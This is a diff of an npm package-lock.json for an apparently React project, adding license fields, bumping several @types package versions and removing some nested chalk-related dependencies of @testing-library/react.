         "@babel/code-frame": "^7.10.4",
         "@babel/runtime": "^7.12.5",
@@ -3931,37 +3912,25 @@
       "version": "4.2.2",
       "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-4.2.2.tgz",
       "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@testing-library/react/node_modules/@types/yargs": {
       "version": "15.0.19",
       "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.19.tgz",
       "integrity": "sha512-2XUaGVmyQjgyAZldf0D0c14vvo/yv0MhQBSTJcejMMaitsn3nxCB6TmH4G0ZQf+uxROOa9mpanoSm8h6SG/1ZA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/yargs-parser": "*"
       }
     },
-    "node_modules/@testing-library/react/node_modules/ansi-styles": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
-      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
-      "dev": true,
-      "dependencies": {
-        "color-convert": "^2.0.1"
-      },
-      "engines": {
-        "node": ">=8"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
-      }
-    },
     "node_modules/@testing-library/react/node_modules/aria-query": {
       "version": "4.2.2",
       "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-4.2.2.tgz",
       "integrity": "sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "@babel/runtime": "^7.10.2",
         "@babel/runtime-corejs3": "^7.10.2"
@@ -3970,54 +3939,12 @@
         "node": ">=6.0"
       }
     },
-    "node_modules/@testing-library/react/node_modules/chalk": {
-      "version": "4.1.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
-      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
-      "dev": true,
-      "dependencies": {
-        "ansi-styles": "^4.1.0",
-        "supports-color": "^7.1.0"
-      },
-      "engines": {
-        "node": ">=10"
-      },
-      "funding": {
-        "url": "https://github.com/chalk/chalk?sponsor=1"
-      }
-    },
-    "node_modules/@testing-library/react/node_modules/color-convert": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-      "dev": true,
-      "dependencies": {
-        "color-name": "~1.1.4"
-      },
-      "engines": {
-        "node": ">=7.0.0"
-      }
-    },
-    "node_modules/@testing-library/react/node_modules/color-name": {
-      "version": "1.1.4",
-      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
-      "dev": true
-    },
-    "node_modules/@testing-library/react/node_modules/has-flag": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
-      "dev": true,
-      "engines": {
-        "node": ">=8"
-      }
-    },
     "node_modules/@testing-library/react/node_modules/pretty-format": {
       "version": "26.6.2",
       "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz",
       "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^26.6.2",
         "ansi-regex": "^5.0.0",
@@ -4032,25 +3959,15 @@
       "version": "17.0.2",
       "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
       "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
-      "dev": true
-    },
-    "node_modules/@testing-library/react/node_modules/supports-color": {
-      "version": "7.2.0",
-      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
-      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
       "dev": true,
-      "dependencies": {
-        "has-flag": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=8"
-      }
+      "license": "MIT"
     },
     "node_modules/@testing-library/user-event": {
       "version": "12.8.3",
       "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-12.8.3.tgz",
       "integrity": "sha512-IR0iWbFkgd56Bu5ZI/ej8yQwrkCv8Qydx6RzwbKz9faXazR/+5tvYKsZQgyXJiwgpcva127YO6JcWy7YlCfofQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.12.5"
       },
@@ -4066,6 +3983,7 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz",
       "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==",
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -4074,6 +3992,7 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
       "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
+      "license": "ISC",
       "engines": {
         "node": ">=10.13.0"
       }
@@ -4083,12 +4002,14 @@
       "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
       "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
       "dev": true,
+      "license": "MIT",
       "peer": true
     },
     "node_modules/@types/babel__core": {
       "version": "7.20.5",
       "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
       "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==",
+      "license": "MIT",
       "dependencies": {
         "@babel/parser": "^7.20.7",
         "@babel/types": "^7.20.7",
@@ -4098,9 +4019,10 @@
       }
     },
     "node_modules/@types/babel__generator": {
-      "version": "7.6.8",
-      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.6.8.tgz",
-      "integrity": "sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==",
+      "version": "7.27.0",
+      "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz",
+      "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==",
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.0.0"
       }
@@ -4109,23 +4031,26 @@
       "version": "7.4.4",
       "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz",
       "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==",
+      "license": "MIT",
       "dependencies": {
         "@babel/parser": "^7.1.0",
         "@babel/types": "^7.0.0"
       }
     },
     "node_modules/@types/babel__traverse": {
-      "version": "7.20.5",
-      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.5.tgz",
-      "integrity": "sha512-WXCyOcRtH37HAUkpXhUduaxdm82b4GSlyTqajXviN4EfiuPgNYR109xMCKvpl6zPIpua0DGlMEDCq+g8EdoheQ==",
+      "version": "7.20.7",
+      "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.7.tgz",
+      "integrity": "sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==",
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.20.7"
       }
     },
     "node_modules/@types/body-parser": {
-      "version": "1.19.5",
-      "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.5.tgz",
-      "integrity": "sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==",
+      "version": "1.19.6",
+      "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz",
+      "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==",
+      "license": "MIT",
       "dependencies": {
         "@types/connect": "*",
         "@types/node": "*"
@@ -4135,6 +4060,7 @@
       "version": "3.5.13",
       "resolved": "https://registry.npmjs.org/@types/bonjour/-/bonjour-3.5.13.tgz",
       "integrity": "sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4143,6 +4069,7 @@
       "version": "3.4.38",
       "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz",
       "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4151,15 +4078,17 @@
       "version": "1.5.4",
       "resolved": "https://registry.npmjs.org/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz",
       "integrity": "sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==",
+      "license": "MIT",
       "dependencies": {
         "@types/express-serve-static-core": "*",
         "@types/node": "*"
       }
     },
     "node_modules/@types/eslint": {
-      "version": "8.56.2",
-      "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.2.tgz",
-      "integrity": "sha512-uQDwm1wFHmbBbCZCqAlq6Do9LYwByNZHWzXppSnay9SuwJ+VRbjkbLABer54kcPnMSlG6Fdiy2yaFXm/z9Z5gw==",
+      "version": "8.56.12",
+      "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.56.12.tgz",
+      "integrity": "sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==",
+      "license": "MIT",
       "dependencies": {
         "@types/estree": "*",
         "@types/json-schema": "*"
@@ -4169,20 +4098,23 @@
       "version": "3.7.7",
       "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz",
       "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==",
+      "license": "MIT",
       "dependencies": {
         "@types/eslint": "*",
         "@types/estree": "*"
       }
     },
     "node_modules/@types/estree": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
-      "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw=="
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz",
+      "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==",
+      "license": "MIT"
     },
     "node_modules/@types/express": {
-      "version": "4.17.21",
-      "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.21.tgz",
-      "integrity": "sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==",
+      "version": "4.17.23",
+      "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.23.tgz",
+      "integrity": "sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/body-parser": "*",
         "@types/express-serve-static-core": "^4.17.33",
@@ -4191,9 +4123,22 @@
       }
     },
     "node_modules/@types/express-serve-static-core": {
-      "version": "4.17.43",
-      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.43.tgz",
-      "integrity": "sha512-oaYtiBirUOPQGSWNGPWnzyAFJ0BP3cwvN4oWZQY+zUBwpVIGsKUkpBpSztp74drYcjavs7SKFZ4DX1V2QeN8rg==",
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-5.0.6.tgz",
+      "integrity": "sha512-3xhRnjJPkULekpSzgtoNYYcTWgEZkp4myc+Saevii5JPnHNvHMRlBSHDbs7Bh1iPPoVTERHEZXyhyLbMEsExsA==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/node": "*",
+        "@types/qs": "*",
+        "@types/range-parser": "*",
+        "@types/send": "*"
+      }
+    },
+    "node_modules/@types/express/node_modules/@types/express-serve-static-core": {
+      "version": "4.19.6",
+      "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.6.tgz",
+      "integrity": "sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*",
         "@types/qs": "*",
@@ -4205,6 +4150,7 @@
       "version": "4.1.9",
       "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.9.tgz",
       "integrity": "sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4213,12 +4159,14 @@
       "version": "4.7.11",
       "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.11.tgz",
       "integrity": "sha512-qjDJRrmvBMiTx+jyLxvLfJU7UznFuokDv4f3WRuriHKERccVpFU+8XMQUAbDzoiJCsmexxRExQeMwwCdamSKDA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/@types/hoist-non-react-statics": {
-      "version": "3.3.5",
-      "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.5.tgz",
-      "integrity": "sha512-SbcrWzkKBw2cdwRTwQAswfpB9g9LJWfjtUeW/jvNwbhC8cpmmNYVePa+ncbUe0rGTQ7G3Ff6mYUN2VMfLVr+Sg==",
+      "version": "3.3.6",
+      "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.6.tgz",
+      "integrity": "sha512-lPByRJUer/iN/xa4qpyL0qmL11DqNW81iU/IG1S3uvRUq4oKagz8VCxZjiWkumgt66YT3vOdDgZ0o32sGKtCEw==",
+      "license": "MIT",
       "dependencies": {
         "@types/react": "*",
         "hoist-non-react-statics": "^3.3.0"
@@ -4227,17 +4175,20 @@
     "node_modules/@types/html-minifier-terser": {
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz",
-      "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg=="
+      "integrity": "sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==",
+      "license": "MIT"
     },
     "node_modules/@types/http-errors": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.4.tgz",
-      "integrity": "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz",
+      "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==",
+      "license": "MIT"
     },
     "node_modules/@types/http-proxy": {
-      "version": "1.17.14",
-      "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.14.tgz",
-      "integrity": "sha512-SSrD0c1OQzlFX7pGu1eXxSEjemej64aaNPRhhVYUGqXh0BtldAAx37MG8btcumvpgKyZp1F5Gn3JkktdxiFv6w==",
+      "version": "1.17.16",
+      "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.16.tgz",
+      "integrity": "sha512-sdWoUajOB1cd0A8cRRQ1cfyWNbmFKLAqBB89Y8x5iYyG/mkJHc0YUH8pdWBy2omi9qtCpiIgGjuwO0dQST2l5w==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4245,12 +4196,14 @@
     "node_modules/@types/istanbul-lib-coverage": {
       "version": "2.0.6",
       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz",
-      "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w=="
+      "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==",
+      "license": "MIT"
     },
     "node_modules/@types/istanbul-lib-report": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz",
       "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==",
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-coverage": "*"
       }
@@ -4259,6 +4212,7 @@
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz",
       "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==",
+      "license": "MIT",
       "dependencies": {
         "@types/istanbul-lib-report": "*"
       }
@@ -4268,6 +4222,7 @@
       "resolved": "https://registry.npmjs.org/@types/jest/-/jest-27.5.2.tgz",
       "integrity": "sha512-mpT8LJJ4CMeeahobofYWIjFo0xonRS/HfxnVEPMPFSQdGUt1uHCnoPT7Zhb+sjDU2wz0oKV0OLUR0WzrHNgfeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jest-matcher-utils": "^27.0.0",
         "pretty-format": "^27.0.0"
@@ -4276,27 +4231,32 @@
     "node_modules/@types/json-schema": {
       "version": "7.0.15",
       "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
-      "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA=="
+      "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
+      "license": "MIT"
     },
     "node_modules/@types/json5": {
       "version": "0.0.29",
       "resolved": "https://registry.npmjs.org/@types/json5/-/json5-0.0.29.tgz",
-      "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ=="
+      "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==",
+      "license": "MIT"
     },
     "node_modules/@types/mime": {
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz",
-      "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w=="
+      "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==",
+      "license": "MIT"
     },
     "node_modules/@types/node": {
-      "version": "16.18.82",
-      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.18.82.tgz",
-      "integrity": "sha512-pcDZtkx9z8XYV+ius2P3Ot2VVrcYOfXffBQUBuiszrlUzKSmoDYqo+mV+IoL8iIiIjjtOMvNSmH1hwJ+Q+f96Q=="
+      "version": "16.18.126",
+      "resolved": "https://registry.npmjs.org/@types/node/-/node-16.18.126.tgz",
+      "integrity": "sha512-OTcgaiwfGFBKacvfwuHzzn1KLxH/er8mluiy8/uM3sGXHaRe73RrSIj01jow9t4kJEW633Ov+cOexXeiApTyAw==",
+      "license": "MIT"
     },
     "node_modules/@types/node-forge": {
-      "version": "1.3.11",
-      "resolved": "https://registry.npmjs.org/@types/node-forge/-/node-forge-1.3.11.tgz",
-      "integrity": "sha512-FQx220y22OKNTqaByeBGqHWYz4cl94tpcxeFdvBo3wjG6XPBuZ0BNgNZRV5J5TFmmcsJ4IzsLkmGRiQbnYsBEQ==",
+      "version": "1.3.12",
+      "resolved": "https://registry.npmjs.org/@types/node-forge/-/node-forge-1.3.12.tgz",
+      "integrity": "sha512-a0ToKlRVnUw3aXKQq2F+krxZKq7B8LEQijzPn5RdFAMatARD2JX9o8FBpMXOOrjob0uc13aN+V/AXniOXW4d9A==",
+      "license": "MIT",
       "dependencies": {
         "@types/node": "*"
       }
@@ -4304,40 +4264,47 @@
     "node_modules/@types/parse-json": {
       "version": "4.0.2",
       "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz",
-      "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw=="
+      "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==",
+      "license": "MIT"
     },
     "node_modules/@types/prettier": {
       "version": "2.7.3",
       "resolved": "https://registry.npmjs.org/@types/prettier/-/prettier-2.7.3.tgz",
-      "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA=="
+      "integrity": "sha512-+68kP9yzs4LMp7VNh8gdzMSPZFL44MLGqiHWvttYJe+6qnuVr4Ek9wSBQoveqY/r+LwjCcU29kNVkidwim+kYA==",
+      "license": "MIT"
     },
     "node_modules/@types/prop-types": {
-      "version": "15.7.11",
-      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.11.tgz",
-      "integrity": "sha512-ga8y9v9uyeiLdpKddhxYQkxNDrfvuPrlFb0N1qnZZByvcElJaXthF1UhvCh9TLWJBEHeNtdnbysW7Y6Uq8CVng=="
+      "version": "15.7.15",
+      "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz",
+      "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==",
+      "license": "MIT"
     },
     "node_modules/@types/q": {
       "version": "1.5.8",
       "resolved": "https://registry.npmjs.org/@types/q/-/q-1.5.8.tgz",
-      "integrity": "sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw=="
+      "integrity": "sha512-hroOstUScF6zhIi+5+x0dzqrHA1EJi+Irri6b1fxolMTqqHIV/Cg77EtnQcZqZCu8hR3mX2BzIxN4/GzI68Kfw==",
+      "license": "MIT"
     },
     "node_modules/@types/qs": {
-      "version": "6.9.11",
-      "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.11.tgz",
-      "integrity": "sha512-oGk0gmhnEJK4Yyk+oI7EfXsLayXatCWPHary1MtcmbAifkobT9cM9yutG/hZKIseOU0MqbIwQ/u2nn/Gb+ltuQ=="
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.14.0.tgz",
+      "integrity": "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ==",
+      "license": "MIT"
     },
     "node_modules/@types/range-parser": {
       "version": "1.2.7",
       "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz",
-      "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ=="
+      "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==",
+      "license": "MIT"
     },
     "node_modules/@types/react": {
-      "version": "17.0.75",
-      "resolved": "https://registry.npmjs.org/@types/react/-/react-17.0.75.tgz",
-      "integrity": "sha512-MSA+NzEzXnQKrqpO63CYqNstFjsESgvJAdAyyJ1n6ZQq/GLgf6nOfIKwk+Twuz0L1N6xPe+qz5xRCJrbhMaLsw==",
+      "version": "17.0.87",
+      "resolved": "https://registry.npmjs.org/@types/react/-/react-17.0.87.tgz",
+      "integrity": "sha512-wpg9AbtJ6agjA+BKYmhG6dRWEU/2DHYwMzCaBzsz137ft6IyuqZ5fI4ic1DWL4DrI03Zy78IyVE6ucrXl0mu4g==",
+      "license": "MIT",
       "dependencies": {
         "@types/prop-types": "*",
-        "@types/scheduler": "*",
+        "@types/scheduler": "^0.16",
         "csstype": "^3.0.2"
       }
     },
@@ -4345,31 +4312,35 @@
       "version": "5.0.4",
       "resolved": "https://registry.npmjs.org/@types/react-collapse/-/react-collapse-5.0.4.tgz",
       "integrity": "sha512-tM5cVB6skGLneNYnRK2E3R56VOHguSeJQHslGPTIMC58ytL3oelT8L/l1onkwHGn5vSEs2BEq2Olzrur+YdliA==",
+      "license": "MIT",
       "dependencies": {
         "@types/react": "*"
       }
     },
     "node_modules/@types/react-dom": {
-      "version": "17.0.25",
-      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-17.0.25.tgz",
-      "integrity": "sha512-urx7A7UxkZQmThYA4So0NelOVjx3V4rNFVJwp0WZlbIK5eM4rNJDiN3R/E9ix0MBh6kAEojk/9YL+Te6D9zHNA==",
+      "version": "17.0.26",
+      "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-17.0.26.tgz",
+      "integrity": "sha512-Z+2VcYXJwOqQ79HreLU/1fyQ88eXSSFh6I3JdrEHQIfYSI0kCQpTGvOrbE6jFGGYXKsHuwY9tBa/w5Uo6KzrEg==",
       "dev": true,
-      "dependencies": {
-        "@types/react": "^17"
+      "license": "MIT",
+      "peerDependencies": {
+        "@types/react": "^17.0.0"
       }
     },
     "node_modules/@types/react-modal": {
       "version": "3.16.3",
